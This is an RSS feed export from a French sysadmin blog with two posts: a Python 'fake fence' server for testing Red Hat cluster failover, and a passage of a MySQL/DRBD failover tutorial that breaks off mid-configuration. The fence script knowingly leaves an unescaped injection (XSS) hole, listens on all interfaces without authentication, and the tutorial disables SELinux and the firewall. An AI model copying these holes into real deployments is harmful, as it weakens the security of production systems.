<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Le Blog du grand loup Zeur</title>
	<atom:link href="http://blog.gaetan-grigis.eu/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.gaetan-grigis.eu</link>
	<description>Le blog qui vous fait connaitre ce que vous savez déjà</description>
	<lastBuildDate>Tue, 17 Jan 2012 08:43:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Fake fencing sur Red Hat6</title>
		<link>http://blog.gaetan-grigis.eu/systeme/administration/fake-fencing-sur-red-hat6/</link>
		<comments>http://blog.gaetan-grigis.eu/systeme/administration/fake-fencing-sur-red-hat6/#comments</comments>
		<pubDate>Mon, 16 Jan 2012 18:12:08 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[agent]]></category>
		<category><![CDATA[cluster]]></category>
		<category><![CDATA[fake fence]]></category>
		<category><![CDATA[fence]]></category>
		<category><![CDATA[red hat]]></category>
		<category><![CDATA[rhevm]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=1158</guid>
		<description><![CDATA[Plop &#8230; Un petit retour sur l&#8217;article du failover mysql avec les clusters de red hat. Lorsque l&#8217;on test son système de failover (machines virtuelles, ou &#8230;) sans matériel de fencing (switchs/routeurs/périph dédiés), les tests d&#8217;arrêts complets (coupure de courant barbare) échouent lamentablement, car pour switcher les services d&#8217;une machine à une autre, le daemon [...]]]></description>
			<content:encoded><![CDATA[<p>Plop &#8230; </p>
<p>Un petit retour sur l&#8217;article du <a href="http://blog.gaetan-grigis.eu/non-classe/mysql-failover-sur-red-hat-6-avec-drbd-et-rgmanager/">failover mysql</a> avec les clusters de red hat.<br />
<span id="more-1158"></span><br />
Lorsque l&#8217;on test son système de failover (machines virtuelles, ou &#8230;) sans matériel de fencing (switchs/routeurs/périph dédiés), les tests d&#8217;arrêts complets (coupure de courant barbare) échouent lamentablement, car pour switcher les services d&#8217;une machine à une autre, le daemon fenced envoie un signal de reboot au serveur ayant la main sur le service via le système de fencing, et si celui-ci ne répond pas, le service n&#8217;est pas redémarré (il considère qu&#8217;il a lui-même un problème), ne permettant pas de valider le test du &laquo;&nbsp;Si la machine crash, est-ce qu&#8217;une autre prendra le service ?&nbsp;&raquo;.</p>
<p>Il existe cependant des services permettant de faker ces systèmes lors d&#8217;utilisation de machines virtuelles, malheureusement pour moi, je n&#8217;utilise pas le système de machine virtuelle xen directement sur red hat6, ne me permettant de de jouir des agents fence <a href="http://linux.die.net/man/8/fence_rhevm">RHEV-M</a> et libvirt pour les machines virtuelles, et désactiver l&#8217;accès au groupe de fence empêche le rgmanager de se lancer (pose de lock sur dlm-control et dlm-rgmanager qui n&#8217;existe pas sans fence) donc passage obligé à la création d&#8217;un &laquo;&nbsp;fake fence&nbsp;&raquo;.</p>
<p>Pour simuler le système de fence de RHEV-M (un simple client http qui balance 3 requêtes pour vérifier si la machine existe et lance l&#8217;action de reboot), j&#8217;ai donc crée un serveur Web en python, qui renvoit des XMLs complétement faux, mais qui contiennent les infos que l&#8217;agent fence_rhevm cherche, lui permettant de valider le reboot  et de débloquer le service!!!</p>
<p>Le codage est très simple (avec une belle XSS en prime ^^, mais comme l&#8217;agent fence_rhevm crée ses propres urls de requêtes &#8230; osef ;=)) :</p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">#!/usr/bin/python</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">SocketServer</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">re</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">status=<span class="st0">&quot;down&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">class</span> FenceHandler<span class="br0">&#40;</span><span class="kw3">SocketServer</span>.<span class="me1">BaseRequestHandler</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">def</span> handle<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">global</span> status</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">data</span> = <span class="kw2">self</span>.<span class="me1">request</span>.<span class="me1">recv</span><span class="br0">&#40;</span><span class="nu0">4096</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;re_get_name = <span class="kw3">re</span>.<span class="kw2">compile</span><span class="br0">&#40;</span><span class="st0">&quot;GET /api/vms/<span class="es0">\?</span>search=name%3D(.*) HTTP/1.1&quot;</span>,<span class="kw3">re</span>.<span class="me1">IGNORECASE</span><span class="br0">&#41;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp;result_name = re_get_name.<span class="me1">search</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">data</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="co1">#If there is no Get, it&#39;s a posted action</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span> result_name == <span class="kw2">None</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">request</span>.<span class="me1">send</span><span class="br0">&#40;</span><span class="st0">&quot;HTTP/1.1 200 OK<span class="es0">\r</span><span class="es0">\n</span>Content-Type: application/xml<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>&lt;action /&gt;<span class="es0">\r</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; status=<span class="st0">&quot;up&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="co1">#Else it&#39;s a normal request, answer &#8230;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;name = <span class="st0">&quot;none&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span> result_name <span class="sy0">!</span>= <span class="kw2">None</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; name = result_name.<span class="me1">group</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw2">self</span>.<span class="me1">request</span>.<span class="me1">send</span><span class="br0">&#40;</span><span class="st0">&quot;HTTP/1.1 200 OK<span class="es0">\r</span><span class="es0">\n</span>Content-Type: application/xml<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>&lt;vms&gt;&lt;vm id=<span class="es0">\&quot;</span>id<span class="es0">\&quot;</span> href=<span class="es0">\&quot;</span>osef<span class="es0">\&quot;</span>&gt;&lt;name&gt;&quot;</span>+name+<span class="st0">&quot;&lt;/name&gt;&lt;type&gt;server&lt;/type&gt;&lt;status&gt;&lt;state&gt;&quot;</span>+status+<span class="st0">&quot;&lt;/state&gt;&lt;/status&gt;&lt;/vm&gt;&lt;/vms&gt;<span class="es0">\r</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;status = <span class="st0">&quot;down&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> __name__ == <span class="st0">&quot;__main__&quot;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; HOST, PORT = <span class="st0">&quot;0.0.0.0&quot;</span>, <span class="nu0">9999</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; server = <span class="kw3">SocketServer</span>.<span class="me1">TCPServer</span><span class="br0">&#40;</span><span class="br0">&#40;</span>HOST, PORT<span class="br0">&#41;</span>, FenceHandler<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; server.<span class="me1">serve_forever</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Une fois lancé sur une machine, il ne reste plus qu&#8217;à fournir les infos dans le cluster.conf (à titre d&#8217;exemple) :</p>
<div class="geshi no xml">
<ol>
<li class="li1">
<div class="de1"><span class="sc3"><span class="re1">&lt;clusternode</span> <span class="re0">name</span>=<span class="st0">&quot;mamachine&quot;</span><span class="re2">&gt;</span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="sc3"><span class="re1">&lt;fence<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="sc3"><span class="re1">&lt;method</span> <span class="re0">name</span>=<span class="st0">&quot;overthelolandfaraway&quot;</span><span class="re2">&gt;</span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;device</span> <span class="re0">name</span>=<span class="st0">&quot;rhevm&quot;</span> <span class="re0">port</span>=<span class="st0">&quot;1337&quot;</span><span class="re2">/&gt;</span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="sc3"><span class="re1">&lt;/method<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="sc3"><span class="re1">&lt;/fence<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1"><span class="sc3"><span class="re1">&lt;/clusternode<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1"><span class="sc3"><span class="re1">&lt;fencedevices<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="sc3"><span class="re1">&lt;fencedevice</span> <span class="re0">name</span>=<span class="st0">&quot;rhevm&quot;</span> <span class="re0">agent</span>=<span class="st0">&quot;fence_rhevm&quot;</span> <span class="re0">ipaddr</span>=<span class="st0">&quot;10.1.1.1&quot;</span> <span class="re0">login</span>=<span class="st0">&quot;rhevm&quot;</span> <span class="re0">passwd</span>=<span class="st0">&quot;rhevm&quot;</span> <span class="re0">ipport</span>=<span class="st0">&quot;9999&quot;</span> <span class="re2">/&gt;</span></span></div>
</li>
<li class="li1">
<div class="de1"><span class="sc3"><span class="re1">&lt;/fencedevices<span class="re2">&gt;</span></span></span></div>
</li>
</ol>
</div>
<p>Si jamais le script est modifié par WP, il reste accessible ici : <a href="https://raw.github.com/cipher16/script/master/fence.py">https://raw.github.com/cipher16/script/master/fence.py</a> (à n&#8217;utiliser que pour des tests bien sûr <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> )</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1158">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/ubuntu/controller-sa-carte-wifi-atheros-sous-ubuntu-lucid/" rel="bookmark" title="Permanent Link: Controller sa carte wifi atheros sous ubuntu Lucid">Controller sa carte wifi atheros sous ubuntu Lucid</a></li><li><a href="http://blog.gaetan-grigis.eu/securite/les-liens-du-week-end/" rel="bookmark" title="Permanent Link: Les liens du week-end">Les liens du week-end</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/centre-alsace-le-prix-du-gazole-depasse-le-prix-essence/" rel="bookmark" title="Permanent Link: Centre Alsace : Le prix du gazole dépasse le prix essence">Centre Alsace : Le prix du gazole dépasse le prix essence</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/mise-en-place-discsi-pour-le-partage-de-donnees/" rel="bookmark" title="Permanent Link: Mise en place d&#8217;iSCSI pour le partage de données">Mise en place d&#8217;iSCSI pour le partage de données</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/envoyer-des-mails-dans-le-passe/" rel="bookmark" title="Permanent Link: Envoyer des mails dans le passé">Envoyer des mails dans le passé</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/systeme/administration/fake-fencing-sur-red-hat6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mysql failover sur Red Hat 6 avec DRBD et RGManager</title>
		<link>http://blog.gaetan-grigis.eu/non-classe/mysql-failover-sur-red-hat-6-avec-drbd-et-rgmanager/</link>
		<comments>http://blog.gaetan-grigis.eu/non-classe/mysql-failover-sur-red-hat-6-avec-drbd-et-rgmanager/#comments</comments>
		<pubDate>Sat, 14 Jan 2012 19:23:45 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[cluster]]></category>
		<category><![CDATA[cman]]></category>
		<category><![CDATA[corosync]]></category>
		<category><![CDATA[drbd]]></category>
		<category><![CDATA[failover]]></category>
		<category><![CDATA[HA]]></category>
		<category><![CDATA[high availability]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[redhat]]></category>
		<category><![CDATA[rgmanager]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=1142</guid>
		<description><![CDATA[plop, today, un rapide article sur un système de failover mysql sur RedHat. NOTE Si certaine commande avec des &#8211; ne fonctionne pas, c&#8217;est qu&#8217;il y en a deux &#8211; - (WordPress ne les aiment pas quand ils sont collés). La configuration présenté ici se veut simplifié (l&#8217;article est encore en cours de rédaction, les [...]]]></description>
			<content:encoded><![CDATA[<p>plop, today, un rapide article sur un système de failover mysql sur RedHat.<br />
<span id="more-1142"></span><br />
<strong>NOTE</strong><br />
Si certaine commande avec des &#8211; ne fonctionne pas, c&#8217;est qu&#8217;il y en a deux &#8211; - (WordPress ne les aiment pas quand ils sont collés).<br />
La configuration présenté ici se veut simplifié (l&#8217;article est encore en cours de rédaction, les tests de HA sont encore en cours et plutôt encourageant ^^).</p>
<p><strong>BackGround</strong><br />
Pour mon alternance on m&#8217;a chargé de switcher le système de HA tournant sur RH5.5 depuis 2 ans avec HeartBeat/DRBD sur le nouveau système (qui existe depuis pas mal de temps, en fait <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ) fournit par RedHat6 pour le clustering : le RGManager, avec ses dépendances (dispo sur toutes les bonnes distro du moment).</p>
<p>Le but de cette manoeuvre est de permettre au service Mysql de rester accessible pour les machines du réseau en cas de crash du serveur (logiciel ou matériel) en partageant une IP et les disques contenant les données (répliqué par DRBD) du serveur Mysql.</p>
<p>L&#8217;utilisation et la configuration du cluter fournit par RedHat est trivial (limite choquant pour un sysadmin habitué à un florilège de fichier de configuration dans lesquels taper, ici seul /etc/cluster/cluster.conf est à toucher, bien évidement les services subissant le failover sont à configurer <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> )</p>
<p><strong>Les machines</strong><br />
cluster1 (192.168.1.225) sera à la fois serveur et node<br />
cluster2 (192.168.1.224) sera seulement node<br />
192.168.1.31 sera l&#8217;ip partagé entre les deux machines pour la mise à disposition du service Mysql</p>
<p><strong>Lucy et Ricci</strong></p>
<p>(J&#8217;ai désactivé selinux (setenforce 0) et iptables (service iptbles stop) pour l&#8217;install)</p>
<p>Pour le serveur administrant les clusters, on installe lucy qui permet d&#8217;administrer la config des clusters, ainsi que leurs lancements/reboot, &#8230;</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">yum <span class="kw2">install</span> lucy</div>
</li>
<li class="li1">
<div class="de1">chkconfig lucy on</div>
</li>
<li class="li1">
<div class="de1">service lucy start</div>
</li>
</ol>
</div>
<p>Pour les membres du clusters, installation de ricci du serveur mysql (puisque c&#8217;est lui qu&#8217;on veut partager) et leurs dépendances :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">yum <span class="kw2">install</span> ricci mysql-server</div>
</li>
<li class="li1">
<div class="de1">chkconfig ricci on</div>
</li>
<li class="li1">
<div class="de1">service ricci start</div>
</li>
<li class="li1">
<div class="de1">chkconfig cman on</div>
</li>
<li class="li1">
<div class="de1">chkconfig rgmanager on</div>
</li>
</ol>
</div>
<p>Il faut set le password de ricci, pour configurer les nodes</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">passwd</span> ricci</div>
</li>
</ol>
</div>
<p>Une fois les nodes préparées et lucy installé et lancé, on peut se connecter via un browser à ipduserveurlucy:8084 et ajouter les nodes :<br />
<img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2012/01/addnode.png" alt="" title="addnode" width="620" height="358" class="aligncenter size-full wp-image-1146" /></p>
<p>Puis commencer à configurer les services (c&#8217;est plutôt intuitif donc je zap cette partie) le résultat de la config XML est visible à la fin.</p>
<p><strong>Compilation et installation de DRBD</strong></p>
<p>Passage malheureusement obligatoire, car DRBD n&#8217;existe pas dans les dépôts RedHat, donc on install une machine virtuelle RH6 (ou bien directement sur la machine de prod si vous êtes un bourrin), avec les softs suivant :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">yum <span class="kw2">install</span> <span class="kw2">gcc</span> <span class="kw2">flex</span> <span class="kw2">make</span> libxslt rpm-build redhat-rpm-config kernel-devel</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">cd</span> <span class="sy0">/</span>tmp</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">wget</span> http:<span class="sy0">//</span>oss.linbit.com<span class="sy0">/</span>drbd<span class="sy0">/</span><span class="nu0">8.4</span><span class="sy0">/</span>drbd<span class="nu0">-8.4</span><span class="nu0">.1</span>.<span class="kw2">tar</span>.gz</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">tar</span> -xvf <span class="sy0">*</span>.<span class="kw2">tar</span>.gz</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">cd</span> drbd<span class="nu0">-8.4</span><span class="nu0">.1</span></div>
</li>
<li class="li1">
<div class="de1">.<span class="sy0">/</span>configure &#8211;with-rgmanager &#8211;enable-spec &#8211;with-km</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">make</span> tgz</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">cp</span> drbd<span class="sy0">*</span>.<span class="kw2">tar</span>.gz <span class="sy0">/</span>root<span class="sy0">/</span>rpmbuild<span class="sy0">/</span>SOURCES<span class="sy0">/</span></div>
</li>
<li class="li1">
<div class="de1">rpmbuild &#8211;bb drbd.spec &#8211;without xen &#8211;without heartbeat &#8211;without udev &#8211;without pacemaker &#8211;with rgmanager</div>
</li>
<li class="li1">
<div class="de1">rpmbuild &#8211;bb drbd-kernel.spec</div>
</li>
<li class="li1">
<div class="de1">rpmbuild &#8211;bb drbd-km.spec</div>
</li>
</ol>
</div>
<p>Ce qui permet, si tout c&#8217;est bien passer de chopper les RPMs dans le dossier (/root/rpmbuild/RPMS/x86_64/) :<br />
drbd-utils-8.4.1-1.el6.x86_64.rpm<br />
drbd-bash-completion-8.4.1-1.el6.x86_64.rpm<br />
drbd-rgmanager-8.4.1-1.el6.x86_64.rpm<br />
drbd-8.4.1-1.el6.x86_64.rpm<br />
drbd-km-2.6.32_220.2.1.el6.x86_64-8.4.1-1.el6.x86_64.rpm</p>
<p>De les uploader et installer sur les nodes du cluster.</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">rpm -i drbd-utils<span class="nu0">-8.4</span><span class="nu0">.1</span><span class="nu0">-1</span>.el6.x86_64.rpm drbd-bash-completion<span class="nu0">-8.4</span><span class="nu0">.1</span><span class="nu0">-1</span>.el6.x86_64.rpm drbd<span class="nu0">-8.4</span><span class="nu0">.1</span><span class="nu0">-1</span>.el6.x86_64.rpm drbd-rgmanager<span class="nu0">-8.4</span><span class="nu0">.1</span><span class="nu0">-1</span>.el6.x86_64.rpm drbd-km<span class="nu0">-2.6</span>.32_220<span class="nu0">.2</span><span class="nu0">.1</span>.el6.x86_64<span class="nu0">-8.4</span><span class="nu0">.1</span><span class="nu0">-1</span>.el6.x86_64.rpm</div>
</li>
</ol>
</div>
<p><strong>Configuration de DRBD</strong></p>
<p>Création du fichier /etc/drbd.d/r0.res, avec l&#8217;utilisation du port de drbd par défaut (7789) et la création de la device /dev/drbd0 sur chacune des machines, avec la réplication du disque /dev/sdb1 (qui contiendra le /var/lib/mysql)</p>
<div class="geshi no config">
<ol>
<li class="li1">
<div class="de1">resource r0 {
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; device &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/dev/drbd0;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; meta-disk &nbsp; &nbsp; &nbsp; internal;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; on cluster {
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; address &nbsp; &nbsp; &nbsp; &nbsp; 192.168.1.225:7789;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; disk &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/dev/sdb1;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; }
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; on cluster2 {
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; address &nbsp; &nbsp; &nbsp; &nbsp; 192.168.1.224:7789;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;disk &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/dev/sdb1;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp;}
</div>
</li>
<li class="li1">
<div class="de1">}</div>
</li>
</ol>
</div>
<p>A exécuter sur les deux machines :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">drbdadm create-md r0</div>
</li>
<li class="li1">
<div class="de1">modprobe drbd</div>
</li>
<li class="li1">
<div class="de1">drbdadm up r0</div>
</li>
</ol>
</div>
<p>Passage en maitre sur l&#8217;une des deux machines pour créer le système de fichier</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">drbdadm &#8212; &#8211;overwrite-data-of-peer primary r0</div>
</li>
<li class="li1">
<div class="de1">service drbd status</div>
</li>
</ol>
</div>
<p>Qui devra retourner :<br />
<img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2012/01/retour-statusdrbd.png" alt="" title="retour-statusdrbd" width="965" height="109" class="aligncenter size-full wp-image-1149" /><br />
(Si il reste en Secondary/Secondary, y&#8217;a un soucis &#8230; :s).</p>
<p>Puis formatage de la partition (ça va tout supprimer &#8230; ), et copie du /var/lib/mysql courant sur la partition drbd</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">mkfs.ext3 <span class="sy0">/</span>dev<span class="sy0">/</span>drbd0</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">mkdir</span> <span class="sy0">/</span>tmp<span class="sy0">/</span>mysqldata</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">mount</span> <span class="sy0">/</span>dev<span class="sy0">/</span>drbd0 <span class="sy0">/</span>tmp<span class="sy0">/</span>mysqldata</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">cp</span> -r <span class="sy0">/</span>var<span class="sy0">/</span>lib<span class="sy0">/</span>mysql <span class="sy0">/</span>tmp<span class="sy0">/</span>mysqldata</div>
</li>
</ol>
</div>
<p>On peut maintenant supprimer le /var/lib/mysql sur <strong>LES DEUX MACHINES</strong></p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">rm</span> -rf <span class="sy0">/</span>var<span class="sy0">/</span>lib<span class="sy0">/</span>mysql<span class="sy0">/*</span></div>
</li>
</ol>
</div>
<p>Il faut maintenant configurer le failover du disque pour ensuite monter /dev/drbd0 dans /var/lib/mysql, fournir l&#8217;ip 192.168.1.31 puis démarrer le service mysql.</p>
<p><strong>ATTENTION A NE PAS DEMARRER LES SERVICES AVANT LA SYNCHRO COMPLETE DES DISQUES</strong></p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">service drbd status</div>
</li>
</ol>
</div>
<p><img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2012/01/synchro.png" alt="" title="synchro" width="982" height="93" class="aligncenter size-full wp-image-1151" /></p>
<p>Une fois les disques synchro, redémarrer les services drbd, pour qu&#8217;il soit tout deux en secondary, et laisser le rgmanager s&#8217;occuper de faire switcher le master</p>
<p><strong>Configuration du cluster</strong></p>
<p>La configuration au format XML (la capture d&#8217;écran est beaucoup trop grande pour la version http) :</p>
<div class="geshi no config">
<ol>
<li class="li1">
<div class="de1">&lt;?xml version=&quot;1.0&quot;?&gt;
</div>
</li>
<li class="li1">
<div class="de1">&lt;cluster config_version=&quot;1&quot; name=&quot;cluster-test&quot;&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &lt;clusternodes&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;clusternode name=&quot;192.168.1.225&quot; nodeid=&quot;1&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;clusternode name=&quot;192.168.1.224&quot; nodeid=&quot;2&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &lt;/clusternodes&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &lt;rm&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;failoverdomains&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;failoverdomain name=&quot;MYSQL&quot; nofailback=&quot;1&quot; ordered=&quot;0&quot; restricted=&quot;0&quot;&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;failoverdomainnode name=&quot;192.168.1.225&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;failoverdomainnode name=&quot;192.168.1.224&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/failoverdomain&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/failoverdomains&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;resources&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;ip address=&quot;192.168.1.31&quot; monitor_link=&quot;on&quot; sleeptime=&quot;10&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;mysql config_file=&quot;/etc/my.cnf&quot; listen_address=&quot;192.168.1.31&quot; name=&quot;mysql&quot; shutdown_wait=&quot;5&quot; startup_wait=&quot;5&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/resources&gt;
</div>
</li>
<li class="li1">
